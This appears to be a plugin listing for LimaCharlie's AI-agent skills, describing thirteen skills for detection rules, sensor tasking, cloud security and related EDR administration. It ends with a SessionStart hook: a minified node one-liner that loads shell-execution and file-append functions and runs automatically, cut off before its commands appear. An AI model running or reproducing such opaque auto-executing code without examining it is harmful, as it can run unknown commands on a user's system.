lc-fundamentals

Plugin lc-fundamentals from marketplace lc-marketplace in refractionPOINT/lc-ai. Commands read from the repo's manifest — 2 days ago.

Skills (13)

• adapters

  Working with LimaCharlie adapters — cloud sensors (SaaS integrations), external adapters (cloud-managed), and on-prem/USP adapters. Covers configuration, credential setup, parsing rules, validation, deployment, and troubleshooting. Use when setting up data sources, configuring adapters, or troublesh

• apps

  Author and deploy LimaCharlie "apps" — self-contained AI-generated HTML mini-apps that render in a sandboxed iframe in the LimaCharlie web UI and call LimaCharlie APIs through a brokered, permission-scoped runtime (window.lc). Use when a user wants to create, edit, or understand a custom app/dashboa

• cases

  Working with LimaCharlie Cases — CRUD, lifecycle management, entities, telemetry references, notes, tags, merging, export, and bulk operations. Use when managing cases, adding evidence, updating case status, or querying the case queue.

• cloud-security

  LimaCharlie Cloud Security (CNAPP) — cloud findings triage, security-graph pivoting and queries, attack paths, CIEM identity analysis, inventory, data security, CAASM, compliance, and MSSP fleet views. Use when investigating cloud risk, pivoting between cloud resources and identities, walking attack

• d-and-r-rules

  Working with Detection & Response rules in LimaCharlie — AI-assisted generation, validation, unit testing, historical replay, deployment, FP rules, stateful rules, behavioral detection patterns, suppression, alternate detection targets, and response actions. Use when creating, testing, modifying, or

• exfil-event-collection

  Managing which events EDR sensors send to LimaCharlie — event collection rules, watch rules, performance rules, throughput management, Afterburner mode, and IR mode. Use when configuring which events sensors collect, troubleshooting throughput issues, managing high-volume sensors, or understanding w

• fim

  File and Registry Integrity Monitoring (FIM/RIM) in LimaCharlie — the Integrity extension for monitoring file system and registry changes with pattern-based rules. Covers rule patterns, platform-specific syntax, FIM_HIT events, Linux eBPF vs inotify limitations, and CLI management. Use when setting

• iac

  LimaCharlie Infrastructure as Code — ext-git-sync repository structure, sync push/pull, global vs tenant-specific configs, importing and promoting rules across tenants. Use when managing multi-tenant configurations via git, setting up ext-git-sync, or syncing org configs.

• output-streams

  Understanding LimaCharlie output stream structures — the four data streams (event, detect, audit, deployment) have different schemas, fields, and use cases. Covers stream structures, detection fields, audit log format, deployment events, filtering, and configuration. Use when configuring outputs, pa

• platform-config

  Working with LimaCharlie platform configuration — Hive (generic config store), outputs, extensions, lookups, secrets, YARA rules, API keys, and permissions. The admin toolbox for platform configuration. Use when managing outputs, extensions, lookups, secrets, API keys, or any Hive-based configuratio

• search-and-query

  Querying data in LimaCharlie — LCQL generation, validation, execution, cost estimation, saved queries, detection listing, and event schema exploration. Use when searching telemetry, analyzing detections, exploring event types, or running LCQL queries.

• sensor-tasking

  Sending commands to EDR sensors for live response, data collection, and incident response. Covers direct tasking (online sensors), reliable tasking (offline/guaranteed delivery), response collection, and payload deployment. Use when tasking sensors, collecting data, or deploying payloads fleet-wide.

• sensors

  Working with LimaCharlie sensors — listing, filtering, info, tags, installation keys, and sensor selectors. Covers both EDR agents and adapter sensors at the inventory level. Use when managing sensor inventory, checking sensor status, working with tags, creating installation keys, or building sensor

Hooks (1)

• SessionStart

  node -e "const{execFileSync:xf,execSync:xs}=require('child_process'),{existsSync:ex,appendFileSync:af}=require('fs'),{homedir:hd,platform:pf}=require('os'),{join:j,dirname:dn}=require('path'),w=pf()==